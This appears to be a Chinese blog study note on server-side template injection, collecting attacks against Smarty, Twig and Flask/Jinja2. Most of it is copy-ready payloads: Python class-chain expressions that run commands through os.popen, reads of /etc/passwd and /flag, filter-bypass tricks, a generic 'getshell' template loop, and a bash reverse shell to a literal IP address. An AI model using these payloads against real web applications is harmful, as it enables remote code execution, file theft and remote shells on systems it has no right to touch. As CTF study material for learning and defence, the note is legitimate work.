SSTI简介

SSTI,又称服务器模板注入攻击，发生在MVC框架的view层。

由于模板引擎使用静态模板文件，并在运用时用HTML页面中的实际值替换变量/占位符，从而让HTML页面的设计更容易。当前广泛应用的模板有Smarty，Twig，Jinja2，FreeMarker和Velocity

服务器接收了用户的输入，将其作为web应用模板内容的一部分，在进行部分目标编译渲染的过程中，执行了用户插入的恶意内容，因而可能导致了敏感信息泄露、代码执行、Getshell等问题

1665123169134

模板引擎可以让网站程序实现界面和数据分离，业务代码和逻辑代码的分离，大大提升了开发效率，也使得代码重用变得更加容易，但是往往新的开发都会导致一些安全问题，虽然模板引擎会提供沙箱机制，但是也同样存在沙箱逃逸技术来绕过

模板是一种提供给程序来解析的语法，换句话说，模板是从数据（变量）到实际的视觉表现（HTML）这项工作的一种实现手段。

在网上找了个例子，可以详细了解一下flask的ssti
https://www.cnblogs.com/cscshi/p/15705056.html

虽说好像这个博客也是转载的，但是原网站我打不开（），所以还是贴这个吧

最重要的是模板渲染，你可以使用 render_template() 方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。实际上，ssti引发的问题主要就是render_template渲染函数的问题

这个函数作用就是把HTML涉及的页面与用户数据分离开，这样方便展示和管理。当用户输入自己的数据信息，HTML页面可以根据用户自身的信息来展示页面。

https://blog.csdn.net/weixin_51353029/article/details/111503731这里还有一个对ssti入门的介绍

注入思想是不断调用我们要使用的命令，如file,read,open,ls等，来读取和写入配置文件

下面是一些会用到的魔术对象：

1
2
3
4
5
6
7
8
__class__  :返回类型所属的对象
__mro__    :返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
__base__   "返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

用魔术对象可以构造一些简单的语句：

我们在里面运行以下：

>>> [].__class__
<class 'list'>
>>> [].__class__.__base__
<class 'object'>
>>> [].__class__.__base__.__subclasses__()

>>> [].__class__.__base__.__subclasses__()[2]
<class 'weakcallableproxy'>
>>>

解读一下：
class返回[]所属的对象；
class+base:返回这个对象所继承的基类
class+base+subclasses:找到了这个对象的基类，那么就返回这个基类下所具有的子类

Jinja模板引擎特点：

1
2
3
4
5
{{...}}: 装载一个变量，模板渲染的时候，会使用传进来的同名参数将这个变量代表的值替换掉

{%...%}:装载一个控制语句

{#...#}:装载一个注释，模板渲染的时候会忽视这中间的值

SSTI利用

判断模板引擎

1.根据编程语言

2.根据此图片

1665123185577

1
2
{{7*'7'}}->7777777->Jinja2
{{7*'7'}}->49->twig

判断模板注入的注入点方法

找这样的场景：输入什么，就输出什么！

这样的常见有两种比较大可能的类型：

1.SSTI

2.XSS(需要bot)

Smarty SSTI

1
2
3
4

{$smarty.version} 
{system('ls')}
{if show_source('/flag')}123{/if}

Twig SSTI

1
2
3
4
5
6
7
{{self}}
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.get
Filter(“id”)}} //这两个一起的
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Flask Jinja2 SSTI

核心思路：找__globals__

1
2
3
4
5
6
7
8
9
wangming.__init__.__globals__
get_flashed_message.__init__.__globals__
request.__init__.__globals__
url_for.__globals__
__globals__['__builtins__']['__import__']('os').popen('cat 
/flag').read()
__globals__['__builtins__']['eval']("__import__('os').popen('cat 
/flag').read()")

Bypass 过滤

点

1
2
3
在模板中，点和中括号大部分情况下可以互相转换 所以 a.__class__ <=> 
a['__class__']
a|attr('__class__')

关键字

1
2
3
4
5
6
7
核心思想是转换为字符串，再做字符串的各种操作！
1. 拆分的思想 a.__class__ <=> a['__class__'] <=> 
a|attr('__cla'+'ss__')
2. 利用__getattribute__ a.__class__ <=> 
a.__getattribute__('__cla'+'ss__')
3. 利用 request 取参数 request.headers.xx request.args.xx
4. 字符串的格式化，join()拼接，字符串的编码等等

中括号

1
2
1. 中括号和点相互转化
2. b['x'] <=> b.__getitem__('x')

大括号

1
2
3
4
5
{% if url_for.__globals__.__builtins__.__import__('os').popen('echo 
x').read()=='x\n' %} if 进来啦！{% endif %}
接着 echo x 换成反弹 shell 的代码即可
Plain Text
bash -i >& /dev/tcp/101.132.237.224/12358 0>&1

基础知识补充

代码块

1
2
3
4
变量块 {{}}	用于将表达式打印到模板输出
注释块 {##}	注释
控制块	{%%}	可以声明变量，也可以执行语句
行声明	##		可以有和{%%}相同的效果

常用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__class__           查看对象所在的类
__mro__             查看继承关系和调用顺序，返回元组
__base__            返回基类
__bases__           返回基类元组
__subclasses__()    返回子类列表
__init__            调用初始化函数，可以用来跳到__globals__
__globals__         返回函数所在的全局命名空间所定义的全局变量，返回字典
__builtins__        返回内建内建名称空间字典
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上，在实例化的对象进行.操作的时候（形如:a.xxx/a.xxx()）		都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值，其实就是调用这个魔术方法，比如a['b']，就是a.__getitem__('b')
__builtins__         内建名称空间，内建名称空间有许多名字到对象之间映射，而这些名字其实就是内建函数的名称，对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了，百度都有。
__import__           动态加载类和函数，也就是导入模块，经常用于导入os模块，__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串，可以理解成就是打印出来。
url_for              flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app
lipsum               flask的一个方法，可以用于得到__builtins__，而且lipsum.__globals__含有os模块：{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app          应用上下文，一个全局变量
request              可以用于获取字符串来绕过，包括下面这些，引用一下羽师傅的。此外，同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config               当前application的所有配置。此外，也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int()		将值转换为int类型；

float()		将值转换为float类型；

lower()		将字符串转换为小写；

upper()		将字符串转换为大写；

title()		把值中的每个单词的首字母都转成大写；

capitalize()	把变量值的首字母转成大写，其余字母转小写；

trim()		截取字符串前面和后面的空白字符；

wordcount()	计算一个长字符串中单词的个数；

reverse()	字符串反转；

replace(value,old,new)	替换将old替换为new的字符串；

truncate(value,length=255,killwords=False)	截取length长度的字符串；

striptags()	删除字符串中所有的HTML标签，如果出现多个空格，将替换成一个空格；

escape()或e	转义字符，会将<、>等符号转义成HTML中的符号。显例：content|escape或content|e。

safe()		禁用HTML转义，如果开启了全局转义，那么safe过滤器会将变量关掉转义。示例： {{'<em>hello</em>'|safe}}；

list()		将变量列成列表；

string()	将变量转换成字符串；

join()		将一个序列中的参数值拼接成字符串。示例看上面payload；

abs()		返回一个数值的绝对值；

first()		返回一个序列的第一个元素；

last()		返回一个序列的最后一个元素；

format(value,arags,*kwargs)	格式化字符串。比如：{{"%s" - "%s"|format('Hello?',"Foo!") }}将输出：Helloo? - Foo!

length()	返回一个序列或者字典的长度；

sum()		返回列表内数值的和；

sort()		返回排序后的列表；

default(value,default_value,boolean=false)	如果当前变量没有值，则会使用参数中的值来代替。示例：name|default('xiaotuo')----如果name不存在，则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值，如果想使用python的形式判断是否为false，则可以传递boolean=true。也可以使用or来替换。

length()	返回字符串的长度，别名是count

利用链

python2、python3 通用 payload（因为每个环境使用的python库不同 所以类的排序有差异）

直接使用 popen（python2不行）

1
2
3
4
os._wrap_close 类里有popen

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用subprocess.Popen

使用 os 下的 popen

1
2
3
含有 os 的基类都可以，如 linecache

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

使用__import__下的os（python2不行）

1
2
3
4
可以使用 __import__ 的 os

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()

__builtins__下的多个函数

1
2
3
4
5
6
7
__builtins__下有eval，__import__等的函数，可以利用此来执行命令

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

利用 python2 的 file 类读取文件

1
2
3
4
5
6
7
8
9
在 python3 中 file 类被删除

# 读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
# 写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
# python2的str类型不直接从属于属于基类，所以要两次 .__bases__

flask内置函数

1
2
3
4
5
6
7
8
9
10
11
Flask内置函数和内置对象可以通过{{self.__dict__._TemplateReference__context.keys()}}查看，然后可以查看一下这几个东西的类型，类可以通过__init__方法跳到os，函数直接用__globals__方法跳到os。（payload一下子就简洁了）

{{self.__dict__._TemplateReference__context.keys()}}
#查看内置函数
#函数：lipsum、url_for、get_flashed_messages
#类：cycler、joiner、namespace、config、request、session
{{lipsum.__globals__.os.popen('ls').read()}}
#函数
{{cycler.__init__.__globals__.os.popen('ls').read()}}
#类

如果要查config但是过滤了config直接用self.__dict__就能找到里面的config

通用 getshell

1
2
3
4
5
6
原理就是找到含有 __builtins__ 的类，然后利用

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

注入思路

1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类（<class ‘object’>）
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell

对象→类→基本类→子类→init方法→globals属性→builtins属性→eval函数

由于真的不太懂ssti，所以基本上都是整合的大佬的博客，下面是一些链接

https://blog.csdn.net/q20010619/article/details/120493997

https://www.anquanke.com/post/id/188172#h3-14

https://blog.csdn.net/miuzzx/article/details/110220425

如果以后学成，会回来把博客按自己的理解重新加工一下